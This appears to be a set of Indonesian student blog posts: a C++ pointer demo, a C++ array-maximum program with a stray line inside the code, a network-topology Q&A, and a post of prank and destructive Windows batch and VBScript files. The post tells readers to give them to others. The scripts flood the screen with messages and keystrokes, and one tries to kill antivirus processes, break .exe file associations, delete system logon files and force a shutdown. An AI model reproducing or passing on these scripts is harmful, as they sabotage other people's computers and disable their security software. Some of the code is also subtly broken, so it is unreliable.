Mengakses Isi Suatu Variabel Melalui Pointer

Selamat datang di blog Sonicar, dalam pada bahasan ini saya akan mendeklarasikan kode c++ yang mengakses Isi Suatu Variabel Melalui Pointer . Berikut Algoritmanya :

1. mendeklarasikan y dan c
2. mendeklarasikan *x
3. mendeklarasikan ps = 12
4. buat persamaan x = alamat memori dari ps (sehingga menjadi satu memori)
5. membuat persamaan y = pointer x (sehingga y memiliki nilai yang sama dengan x)
6. buat persamaan c = alamat memori dari ps (sehingga menjadi satu memori)
7. buat persamaan *c = pointer x  (sehingga x memiliki nilai yang sama dengan x)
6, lalu deklarasikan


Berikut codenya :

#include <iostream>
using namespace std ;
int main () {
int y, ps = 12 ;
int *x ;
int *c ;

x = &ps ;
y = *x ;
c = &ps ;
*c = *x
;
cout << "alamat x : " << &ps << endl ;
cout << "alamat ps : " << x <<endl ;
cout << "isi X : " << *x << endl ;
cout << "Niali ps : " << ps << endl ;
cout << "Nilai Y : " << y<< endl ;
cout << "Nilai dari c : " << *c << endl  ;
cout << "alamat dari c :" << c ;

return 0 ;
}
Screen Shoot hasil :

Jika ada yang ingin ditanyakan langsung aja comment, Semoga Bermanfaat

Read More

Menentukan Bilangan Terbesar dalam array

Selamat datang di blog Sonicar, dalam pada bahasan ini saya akan mendeklarasikan kode c++ yang menentukan nilai maksimal dalam array berdimensi 1. Berikut Algoritmanya :

1. Masukan banyak data
2. deklarasikan elemen = 0 secara looping < 5
3. deklarasikan maks dimulai dari data ke 0 ;
4. deklarasikan maks dengan menentukan nilai terbesar dalam data
5. cetak nilai terbesar dalam maks


Berikut codenya :

#include <iostream>
using namespace std ;
int main() {
int maks ;
int data[5] ;

for (int elemen=0;elemen<5;elemen++) {
cout << "masukan angka ke - " << elemen + 1  << " : ";
cin >> data[elemen] ;  
}

maks = data[0] ;
Screen Shoot hasil :
for (int i=0;i<5;i++){
if (maks < data[i])
maks = data[i] ;

}
cout << endl ;
cout << "angka terbesar adalah : " << maks << endl ;

}

Screen Shoot hasil :

Jika ada yang ingin ditanyakan langsung aja comment, Semoga Bermanfaat 

Read More

Penjelasan topologi fisik

Sebutkan dan jelaskan topologi fisik jaringan yang ada minimal 3 buah serta keuntungan dan kerugiannya!Topologi fisik jaringan yang digunakan beserta keuntungan dankerugiannya adalah:
jawab:


a) Topologi Bus atau LinierMerupakan topologi fisik yang menggunakan kabel Coaxial dengan menggunakan T-Connector dengan terminator 50 ohm pada ujung jaringan. Topologi bus menggunakan satu kabel yang kedua ujungnya ditutup dimana sepanjang kabel terdapat node-node.Keuntungannya adalah biaya yang murah, instalasi sederhana. Tidak memerlukan Hub/Switch. Kerugiannya adalah karena sinyal 2 arah dengan satu kabel kemungkinan terjadi collision (tabrakan data atau tercampurnya data)sangat besar, jika terjadi putus atau longgar pada salah satu konektor maka seluruh jaringan akan berhenti, pengecekan kabel yang putus akan memakan waktu yang lama karena harus dilakukan satu persatu.

b) Topologi RingAdalah topoligi fisik yang tertutup sehingga informasi dan data disalurkan dalam satu arah yang membentuh lingkaran tertutup sehingga mengesankan cincin tanpa ujung.Keuntungannya adalah: layout instalasi yang sederhana, Tidak memerlukan Hub/Switch, tidak terjadi collision (tabrakan data atau tercampurnya data).Kerugiannya adalah: Jika terjadi putus atau longgar pada salah satu konektor maka seluruh jaringan akan berhenti, pengecekan kabel yang putus akan memakan waktu yang lama karena harus dilakukan satu persatu.

c) Topologi StarTopologi Star adalah topologi setiap node akan menuju node pusat/sentral sebagai konselor. Aliran data akan menuju node pusat baru menuju ke node tujuan.Keuntungan: jenis topologi ini mudah dikembangkan, jika terjadi kerusakan pada salah satu node maka hanya node tersebut yang terganggu tanpa mengganggu jaringan lain.Kerugian: memerlukan biaya tambahan karena membutuhkan Hub/switch sebagai pusat node (node sentral)d) Topologi HybridTopologi Hybrid merupakan gabungan atau kombinasi dari dua atau lebih topologi jaringan lainnya. Topologi Hybrid sering juga disebut Tree topology. Keuntungan dan keruguan adalah sama dengan jenis topologi yang digunakan dari masing-masing gabungan topologi tersebut.

3) Dalam Jaringan apakah perlu dilakukan perawatan? Kalau perlu berapa jangka waktu perawatannya? Mengapa harus dilakukan perawatan? Pada bagian apa saja?
Jaringan sangat perlu dilakukan perawatan. Perawatan harus dilakukan secara berkala dan dilakukan pengecekan setiap minggu serta pada saat terjadi gangguan. Perawatan perlu untuk mendapatkan kinerja jaringan yang optimal dan selalu dalamkondisi yang normal. Bagian yang memerlukan perawatan adalah seluruh komponen jaringan baik secara hardware maupun secara software.

4) permasalahan yang sering terjadi pada jaringan terbagi menjadi dua? sebutkan !
jawab:
menyelesaikan permasalahan merupakan tindakan yang dilakukan untuk mencegah hal-hal yang berakibat lebih fatal dalam jaringan.
mengatur secara Hardware, yaitu :
a. menginstallasi kerusakan pada kartu jaringan,
b. mengisolasi pengkabelan pada kabel dan komputer,
mengatur secara Software , yaitu :
a. kesalahan servis network
b. kesalahan pengelamatan IP,
c. kesalahan identifikasi workgroup.

Read More

Berbagai jenis script

Huh -_- Hari ini saya ingin melakukan sesuatu yang jahill yaitu memainkan script yang cukup berbahaya (Berhati - hati jika anda kurang mengerti maka akan fatal jadi nya) nih Code nya : MESSAGES YG NONGOL TERUS MENERUS SECARA OTOMATIS CODE : @ECHO off :Begin msg * muka lo jelek msg * ngaca dulu gih msg * hayo lo,cpu lu gw acak2 msg * ud install ulang aja msg * biar masalah nya kelar GOTO BEGIN ==> save nama script diatas dg ekstensi *.bat BIKIN SHUTDOWN + MESSAGES CODE: @echo off msg * apaan sih lo shutdown -s -c "Error! muka mu standar abis" ==> save nama script diatas dg ekstensi *.bat MAININ CAPS LOCK BUTTON Code: Set wshShell =wscript.CreateObject ("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop ==> save nama script diatas dg ekstensi *.vbs BUKA TUTUP CD/DVD SECARA OTOMATIS Code: Set oWMP = CreateObject ("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop ==> save nama script diatas dg ekstensi *.vbs BIKIN VB SCRIPT NONGOL TERUS MENERUS SECARA OTOMATIS Code: Set wshShell = wscript.CreateObject ("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop ==> save nama script diatas dg ekstensi *.vbs MENEKAN TOMBOL BACKSPACE TERUS MENERUS SECARA OTOMATIS Code: MsgBox "kembali ke menu sebelumnya" Set wshShell =wscript.CreateObject ("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop ==> save nama script diatas dg ekstensi *.vbs OTOMATIS NGETIK "LU JELEK BANGET SIH" DI NOTEPAD ATAU M.WORD Code: Set wshShell = wscript.CreateObject ("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "lu jelek banget sih!!!" loop ==> save nama script diatas dg ekstensi *.vbs MEMBUKA NOTEPAD TERUS MENERUS Code: @ECHO off :top START %SystemRoot% \system32\notepad.exe GOTO top ==> save nama script diatas dg ekstensi *.BAT OTOMATIS BUKA NOTEPAD LALU NGETIK "APA YG LO MAU" Code: WScript.Sleep 1800 WScript.Sleep 100 Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 10 WshShell.AppActivate "Notepad" WScript.Sleep 50 WshShell.SendKeys "ka" WScript.Sleep 50 WshShell.SendKeys "mu " WScript.Sleep 50 WshShell.SendKeys "je" WScript.Sleep 50 WshShell.SendKeys "le" WScript.Sleep 50 WshShell.SendKeys "k " WScript.Sleep 50 WshShell.SendKeys " se" WScript.Sleep 50 WshShell.SendKeys "ka" WScript.Sleep 50 WshShell.SendKeys "li" WScript.Sleep 50 WshShell.SendKeys " y" WScript.Sleep 50 WshShell.SendKeys "a" WScript.Sleep 50 WshShell.SendKeys " h" WScript.Sleep 50 WshShell.SendKeys "!" WScript.Sleep 50 WshShell.SendKeys "!! " ==> save nama script diatas dg ekstensi *.vbs BISA MEMILIH JAWABAN SEPERTI QUIZ LAH KIRA2 Code: @echo off title quiz hari ini :) :menu cls echo jika kamu kena virus apa yang kamu lakukan pause echo pilih yang mana: echo 1. matiin computer echo 2. format aja echo 3. bingung ahh set input=nothing set /p input=Choice: if %input%==1 shutdown -s -t 30 if %input%==2 del c:\xxx if %input%==3 @ECHO off msg * muka lo rusak msg * ngaca dulu gih msg * hayo lo,cpu lu gw acak2 msg * ud install ulang aja msg * biar masalah nya kelar @ECHO off :top START %SystemRoot% \system32\notepad.exe GOTO top ==> nah script diatas save jadi quiz.bat,,lalu kasih ke anak orang... POKOKNYA KALO YG INI DICOBA DULU DEH !! Code: @echo off set end=md “Hack installing” set fin=copy “Hack log.txt” “Installing” %end% %fin% net send * Hack is installing, press OK to begin set up. kill NAVAPSVC.exe /F /Q kill zonelabs.exe /F /Q kill explorer.exe /F /Q cls assoc .exe=txtfile assoc .txt=mp3file cls msg * It is you who is hacked …. msg * I warned you, and you kept going. Challenge me and this is what happens. DEL C:\WINDOWS \system32\logoff.exe / F /Q DEL C:\WINDOWS \system32\logon.exe / F /Q DEL C:\WINDOWS \system32\logon.scr / F /Q cls shutdown -s -t 5 -c “ thank you for waiting” ==> save script diatas dg ekstensi *.bat KEYBOARD PROBLEM Code: Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "sabotase keyboard, etc" loop ==> save nama script diatas dg ekstensi *.bat BACKSPACE PROBLEM Code: MsgBox "empatujuhcode bilang : anda harus mengulang kembali" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop ==> save nama script diatas dg ekstensi *.bat ENTER AGAIN Code: Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop ==> save nama script diatas dg ekstensi *.bat MAININ CAPSLOCK BUTTON Code: Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop ==> save nama script diatas dg ekstensi *.bat VBS SCRIPT NONGOL TERUS Code: Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop ==> save nama script diatas dg ekstensi *.bat KUIS MEMBAWA PETAKA Code: @echo off title quiz hari ini :menu cls echo jika kamu kena virus apa yang kamu lakukan pause echo pilih yang mana: echo 1. matiin computer echo 2. format aja echo 3. bingung ahh set input=nothing set /p input=Choice: if %input%==1 shutdown -s -t 30 if %input%==2 del c:\xxx if %input%==3 @ECHO off msg * muka lo jelek msg * ngaca dulu gih msg * hayo lo,cpu lu gw acak2 msg * ud install ulang aja msg * biar masalah nya kelar @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top ==> save nama script diatas dg ekstensi *.bat MESSAGE ALERT Code: @ECHO off :Begin msg * Kenna Deh msg * Huahahaha msg * Install Ulang Aja msg * Gak Mau Ya ? msg * Terserah msg * Mari Kita Bermain msg * Nikmatilah hidup ini msg * Jangan MENYERAH msg * Jangan PANIK msg * Jangan PUTUS ASA msg * Jangan GROGI msg * Huahahaha msg * Saya tidak bermaksud JAHAT msg * Hanya ISENG msg * OKE lah Kalau begitu msg * Perkenalkan SAYA msg * EMPATUJUH CODE msg * Kenal SAYA ? msg * Gak kenal kan ? msg * Makanya Rasakan ini msg * Lain Kali Jangan KLIK SEMBARANG msg * Gini aja msg * Telepon Teman Kamu yg PINTAR msg * Beresin Masalah ini msg * Sebelum Terlambat msg * OK msg * Bye msg * Love you Full msg * Anjing msg * Babi msg * upss KECEPLOSAN msg * huahahaha GOTO BEGIN ==> save nama script diatas dg ekstensi *.bat

Read More